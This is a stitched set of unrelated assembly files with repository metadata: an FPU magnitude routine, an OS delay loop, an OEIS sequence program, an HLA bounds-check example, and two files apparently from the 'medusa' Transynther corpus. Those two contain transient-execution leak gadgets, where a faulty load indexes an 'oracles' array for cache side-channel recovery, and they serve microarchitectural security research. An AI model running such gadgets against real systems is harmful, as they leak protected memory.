R7H, R6H ; R7H = scale*[(Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3])] MOV32 *XAR5++,R3H ; Store mag[i+1] SUBB SP, #2 ; Deallocate local frame SQRTF32 R7H, R7H ; R7H = sqrt[(Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3])] ;Iteration block 0 MOV32 *XAR5++,R5H ; Store mag[i+2] MOV32 R4H,*--SP ; Restore R4H MOV32 R5H,*--SP ; Restore R5H ;Iteration block 1 MOV32 R6H,*--SP ; Restore R6H MOV32 *XAR5++,R7H ; Store mag[i+3] ;--- Finish up MOV32 R7H,*--SP ; Restore R7H LRETR ;;############################################################################# ;; End of File ;;#############################################################################
TheStack
1079428d6d71625872677a6ec078d64b61a2f7ad
Assemblycode:Assembly
{"size": 89, "ext": "asm", "max_stars_repo_path": "kernel/delay.asm", "max_stars_repo_name": "Chrisigamer737/Nugget-OS", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "kernel/delay.asm", "max_issues_repo_name": "Chrisigamer737/Nugget-OS", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "kernel/delay.asm", "max_forks_repo_name": "Chrisigamer737/Nugget-OS", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 9.8888888889, "max_line_length": 13, "alphanum_fraction": 0.6404494382}
[bits32] delay2: dec bp nop jnz delay2 dec si cmp si,0 jnz delay2 ; end delay
TheStack
136172f988d6fed8eb665231ca3b6be065a24baa
Assemblycode:Assembly
{"size": 4520, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_209_2409.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_209_2409.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_209_2409.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 22.9441624365, "max_line_length": 626, "alphanum_fraction": 0.6502212389}
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x531f, %rsi lea addresses_WC_ht+0x1da1f, %rdi nop nop nop and %r14, %r14 mov $20, %rcx rep movsw nop nop nop add %r12, %r12 lea addresses_WC_ht+0x67b3, %rbx nop nop nop nop nop and $18572, %rbp mov $0x6162636465666768, %r14 movq %r14, %xmm7 movups %xmm7, (%rbx) nop nop nop nop dec %rcx lea addresses_D_ht+0x1720f, %r14 and %rbx, %rbx mov $0x6162636465666768, %r12 movq %r12, (%r14) nop nop nop cmp %rdi, %rdi lea addresses_UC_ht+0x5e1f, %rsi lea addresses_WC_ht+0x169f, %rdi clflush (%rsi) nop nop nop add %rbp, %rbp mov $74, %rcx rep movsb nop sub $61208, %r14 lea addresses_WC_ht+0x6929, %r12 nop nop nop add %rsi, %rsi mov (%r12), %ebx nop and $7560, %rbx lea addresses_A_ht+0x1bf9, %rsi nop nop nop nop nop lfence mov (%rsi), %di nop add $44776, %rcx lea addresses_D_ht+0xa8bf, %rdi nop nop nop nop sub %r12, %r12 movw $0x6162, (%rdi) nop nop nop cmp %r12, %r12 lea addresses_WT_ht+0x10237, %r12 dec %rsi mov $0x6162636465666768, %r14 movq %r14, %xmm3 and $0xffffffffffffffc0, %r12 vmovaps %ymm3, (%r12) sub $19360, %rdi lea addresses_UC_ht+0x1ce9f, %rbx nop nop nop nop and %rsi, %rsi mov (%rbx), %ecx nop nop nop cmp %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %rax push %rbx push %rcx push %rsi // Store mov $0x67aab00000000977, %rsi nop nop xor %rax, %rax movb $0x51, (%rsi) nop add $3175, %r8 // Store lea addresses_UC+0x1de1f, %rcx dec %rbx mov $0x5152535455565758, %r11 movq %r11, (%rcx) nop nop add %r11, %r11 // Store lea addresses_WT+0x13e1f, %rsi nop nop nop nop nop xor $45940, %r13 movl $0x51525354, (%rsi) nop nop nop dec %rbx // Faulty Load lea addresses_RW+0x1561f, %rcx nop nop nop nop add %rax, %rax movb (%rcx), %r13b lea oracles, %r11 and $0xff, %r13 shlq $12, %r13 mov (%r11,%r13,1), %r13 pop %rsi pop %rcx pop %rbx pop %rax pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'32': 209} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
TheStack
13f7b8f2436bb702f860ad694d790597a64bc178
Assemblycode:Assembly
{"size": 387, "ext": "asm", "max_stars_repo_path": "oeis/048/A048154.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "oeis/048/A048154.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "oeis/048/A048154.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 29.7692307692, "max_line_length": 208, "alphanum_fraction": 0.519379845}
; A048154: Triangular array T read by rows: T(n,k)=k^3 mod n, for k=1,2,...,n, n=1,2,... ; 0,1,0,1,2,0,1,0,3,0,1,3,2,4,0,1,2,3,4,5,0,1,1,6,1,6,6,0,1,0,3,0,5,0,7,0,1,8,0,1,8,0,1,8,0,1,8,7,4,5,6,3,2,9,0,1,8,5,9,4,7,2,6,3,10,0,1,8,3,4,5,0,7,8,9,4,11,0,1,8,1,12,8,8,5,5,1,12,5,12,0,1,8,13,8,13,6,7,8,1 mov $2,1 lpb $0 mov $1,$0 pow $1,3 add $2,1 trn $0,$2 mod $1,$2 lpe mov $0,$1
TheStack
cd8179c626628490d01c6deec65250fd5696b564
Assemblycode:Assembly
{"size": 7131, "ext": "asm", "max_stars_repo_path": "src/bound.asm", "max_stars_repo_name": "hirohito-protagonist/hla-learn-adventure", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/bound.asm", "max_issues_repo_name": "hirohito-protagonist/hla-learn-adventure", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/bound.asm", "max_forks_repo_name": "hirohito-protagonist/hla-learn-adventure", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.9415384615, "max_line_length": 68, "alphanum_fraction": 0.4617865657}
; Assembly code emitted by HLA compiler ; Version 2.16 build 4413 (prototype) ; HLA compiler written by Randall Hyde ; NASM compatible output bits 32 %define ExceptionPtr__hla_ [dword fs:0] global QuitMain__hla_ global DfltExHndlr__hla_ global _HLAMain global HWexcept__hla_ global start section .text code align=16 extern STDIN_FLUSHINPUT extern STDOUT_PUTI32 extern STDOUT_NEWLN extern DefaultExceptionHandler__hla_ extern abstract__hla_ extern HardwareException__hla_ extern BuildExcepts__hla_ extern STDOUT_PUTS extern STDIN_GETI32 extern Raise__hla_ extern shortDfltExcept__hla_ %define exception__hla_1899 Raise__hla_ section .text ;/* HWexcept__hla_ gets called when Windows raises the exception. */ ; procedure HWexcept__hla_ HWexcept__hla_: jmp HardwareException__hla_ ;HWexcept__hla_ endp ; procedure DfltExHndlr__hla_ DfltExHndlr__hla_: jmp DefaultExceptionHandler__hla_ ;DfltExHndlr__hla_ endp ; procedure _HLAMain _HLAMain: nop ; procedure start start: ;start endp call BuildExcepts__hla_ ; push dword 0 db 06ah ; db 00h ; ; push ebp db 055h ; ; push ebp db 055h ; ; lea ebp, [esp+4] db 08dh ; db 06ch ; db 024h ; db 04h ; false__hla_1890: repeat__hla_1890: ; mov byte [GoodInput__hla_1886], 0 db 0c6h ; db 05h ; dd GoodInput__hla_1886 db 00h ; ; push strict dword exception__hla_1892 db 068h ; dd exception__hla_1892 ; push ebp db 055h ; ;/* fs: */ db 064h ; ; mov ebp, [0] db 08bh ; db 02dh ; dd 00h ; push dword [ebp+8] db 0ffh ; db 075h ; db 08h ; ; mov ebp, [esp+4] db 08bh ; db 06ch ; db 024h ; db 04h ; ; push strict dword HWexcept__hla_ db 068h ; dd HWexcept__hla_ ;/* fs: */ db 064h ; ; push dword [0] db 0ffh ; db 035h ; dd 00h ;/* fs: */ db 064h ; ; mov [0], esp db 089h ; db 025h ; dd 00h ; push strict dword str__hla_1893 db 068h ; dd str__hla_1893 call STDOUT_PUTS call STDIN_FLUSHINPUT call STDIN_GETI32 ; mov [InputValue__hla_1885], eax db 0a3h ; dd (InputValue__hla_1885+0) ; bound eax, [_1894_LBound__hla_] db 062h ; db 05h ; dd _1894_LBound__hla_ ; mov byte [GoodInput__hla_1886], 1 db 0c6h ; db 05h ; dd GoodInput__hla_1886 db 01h ; ;/* fs: */ db 064h ; ; mov esp, [0] db 08bh ; db 025h ; dd 00h ;/* fs: */ db 064h ; ; pop dword [0] db 08fh ; db 05h ; dd 00h ; add esp, 8 db 083h ; db 0c4h ; db 08h ; ; pop ebp db 05dh ; ; add esp, 4 db 083h ; db 0c4h ; db 04h ; jmp endtry__hla_1891 exception__hla_1892: ; cmp eax, 20 db 083h ; db 0f8h ; db 014h ; jne exception__hla_1895 ; push strict dword str__hla_1896 db 068h ; dd str__hla_1896 call STDOUT_PUTS call STDOUT_NEWLN jmp endtry__hla_1891 exception__hla_1895: ; cmp eax, 8 db 083h ; db 0f8h ; db 08h ; jne exception__hla_1897 ; push strict dword str__hla_1898 db 068h ; dd str__hla_1898 call STDOUT_PUTS call STDOUT_NEWLN jmp endtry__hla_1891 exception__hla_1897: ; cmp eax, 64 db 083h ; db 0f8h ; db 040h ; jne exception__hla_1899 ; push strict dword str__hla_1900 db 068h ; dd str__hla_1900 call STDOUT_PUTS call STDOUT_NEWLN endtry__hla_1891: continue__hla_1890: ; cmp byte [GoodInput__hla_1886], 0 db 080h ; db 03dh ; dd GoodInput__hla_1886 db 00h ; je repeat__hla_1890 exitloop__hla_1890: ; push strict dword str__hla_1901 db 068h ; dd str__hla_1901 call STDOUT_PUTS ; push dword [InputValue__hla_1885] db 0ffh ; db 035h ; dd InputValue__hla_1885 call STDOUT_PUTI32 ; push strict dword str__hla_1902 db 068h ; dd str__hla_1902 call STDOUT_PUTS call STDOUT_NEWLN QuitMain__hla_: ; push dword 0 db 06ah ; db 00h ; ; call [__imp__ExitProcess@4] db 0ffh ; db 015h ; dd __imp__ExitProcess@4 ;_HLAMain endp section .text align (4) len__hla_1893 dd 016h dd 016h str__hla_1893: db "Integer from 1 to 10: " db 0 db 0 _1894_LBound__hla_: dd 1 _1894_UBound__hla_: dd 10 align (4) len__hla_1896 dd 011h dd 011h str__hla_1896: db "conversion errror" db 0 db 0 db 0 align (4) len__hla_1898 dd 012h dd 012h str__hla_1898: db "value out of range" db 0 db 0 align (4) len__hla_1900 dd 01ah dd 01ah str__hla_1900: db "Number is not from 1 to 10" db 0 db 0 align (4) len__hla_1901 dd 09h dd 09h str__hla_1901: db "Integer: " db 0 db 0 db 0 align (4) len__hla_1902 dd 0bh dd 0bh str__hla_1902: db " is correct" db 0 section .data data align=16 extern MainPgmCoroutine__hla_ extern __imp__MessageBoxA@16 extern __imp__ExitProcess@4 align (4) InputValue__hla_1885 times 4 db 0 GoodInput__hla_1886 times 1 db 0
TheStack
c87c1f5b0c5146cc876e3694732036a2815dc5c0
Assemblycode:Assembly
{"size": 9077, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2312.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2312.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2312.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 31.6271777003, "max_line_length": 2999, "alphanum_fraction": 0.6535198854}
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x6667, %r10 sub $19304, %r11 mov (%r10), %rcx nop nop nop nop xor %rcx, %rcx lea addresses_normal_ht+0x18c1b, %r14 nop and $6279, %r8 mov (%r14), %r13d nop nop add %r14, %r14 lea addresses_UC_ht+0x644f, %r10 nop nop nop sub %r13, %r13 mov (%r10), %ecx nop nop and $11348, %r8 lea addresses_WC_ht+0xf84f, %rcx nop nop and %r13, %r13 mov $0x6162636465666768, %r8 movq %r8, %xmm1 vmovups %ymm1, (%rcx) nop nop nop nop nop sub $57480, %rcx lea addresses_WT_ht+0x9ccf, %r14 nop nop nop cmp $21228, %rbp mov (%r14), %r11w nop nop nop nop xor %r13, %r13 lea addresses_A_ht+0x934f, %rsi lea addresses_normal_ht+0x1e94f, %rdi nop nop nop and $38598, %r11 mov $32, %rcx rep movsw nop nop nop nop add $58210, %rbp lea addresses_UC_ht+0x1884f, %rsi lea addresses_normal_ht+0x118b7, %rdi clflush (%rsi) nop cmp $28543, %r8 mov $16, %rcx rep movsb nop nop cmp %r10, %r10 lea addresses_normal_ht+0x1aed7, %rdi clflush (%rdi) nop sub %r13, %r13 movups (%rdi), %xmm1 vpextrq $0, %xmm1, %rbp add $62512, %r14 lea addresses_WC_ht+0xb8cf, %rdi sub $38752, %rbp mov (%rdi), %esi nop nop nop nop add $45784, %rbp lea addresses_normal_ht+0x1c34f, %rsi lea addresses_WT_ht+0x4ddf, %rdi nop nop nop nop sub %r10, %r10 mov $98, %rcx rep movsq nop nop nop nop inc %rdi lea addresses_WT_ht+0x17493, %rsi lea addresses_WC_ht+0x1794f, %rdi nop inc %r11 mov $85, %rcx rep movsl nop nop nop xor %rcx, %rcx lea addresses_WT_ht+0x474f, %rsi lea addresses_A_ht+0x1ad4f, %rdi nop nop nop nop nop cmp $25351, %r8 mov $3, %rcx rep movsl nop nop nop nop dec %r10 lea addresses_A_ht+0x19633, %r13 sub $21754, %r14 movups (%r13), %xmm2 vpextrq $0, %xmm2, %rbp nop nop nop nop and %r14, %r14 lea addresses_D_ht+0x1907, %rbp nop nop nop cmp $47089, %rcx movl $0x61626364, (%rbp) add %rbp, %rbp lea addresses_normal_ht+0xeecf, %r8 sub $4639, %rcx vmovups (%r8), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rbp nop nop nop nop nop add %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r15 push %r9 push %rdx // Store lea addresses_PSE+0x1868f, %r11 add %r14, %r14 movb $0x51, (%r11) nop dec %r9 // Store lea addresses_US+0x5093, %rdx nop nop nop nop xor %r13, %r13 movb $0x51, (%rdx) nop nop nop nop cmp %r14, %r14 // Load lea addresses_normal+0xf1d7, %r9 and %r12, %r12 mov (%r9), %r14d nop and $44320, %r12 // Store mov $0x1dccd1000000041f, %r14 clflush (%r14) nop cmp $26499, %rdx mov $0x5152535455565758, %r13 movq %r13, (%r14) xor %r14, %r14 // Load mov $0x7688180000000ccf, %r9 sub $24308, %r14 vmovups (%r9), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rdx nop nop nop nop nop and $57745, %r14 // Faulty Load lea addresses_normal+0x1734f, %r12 nop nop nop nop nop cmp %r13, %r13 mov (%r12), %r11w lea oracles, %r15 and $0xff, %r11 shlq $12, %r11 mov (%r15,%r11,1), %r11 pop %rdx pop %r9 pop %r15 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
TheStack
fd02ee1de53c663748a2c7dace65a975ef4f7054
Assemblycode:Assembly
{"size": 49233, "ext": "asm", "max_stars_repo_path": "P6/data_P6/testpoint/testpoint7.asm", "max_stars_repo_name": "alxzzhou/BUAA_CO_2020", "max_stars_repo_stars_event_min_datetime": "2022-01-23T09:24:47.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-23T09:24:47.000Z", "max_issues_repo_path": "P6/data_P6/testpoint/testpoint7.asm", "max_issues_repo_name": "alxzzhou/BUAA_CO_2020", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "P6/data_P6/testpoint/testpoint7.asm", "max_forks_repo_name": "alxzzhou/BUAA_CO_2020", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 12.9868108678, "max_line_length": 22, "alphanum_fraction": 0.4984867873}
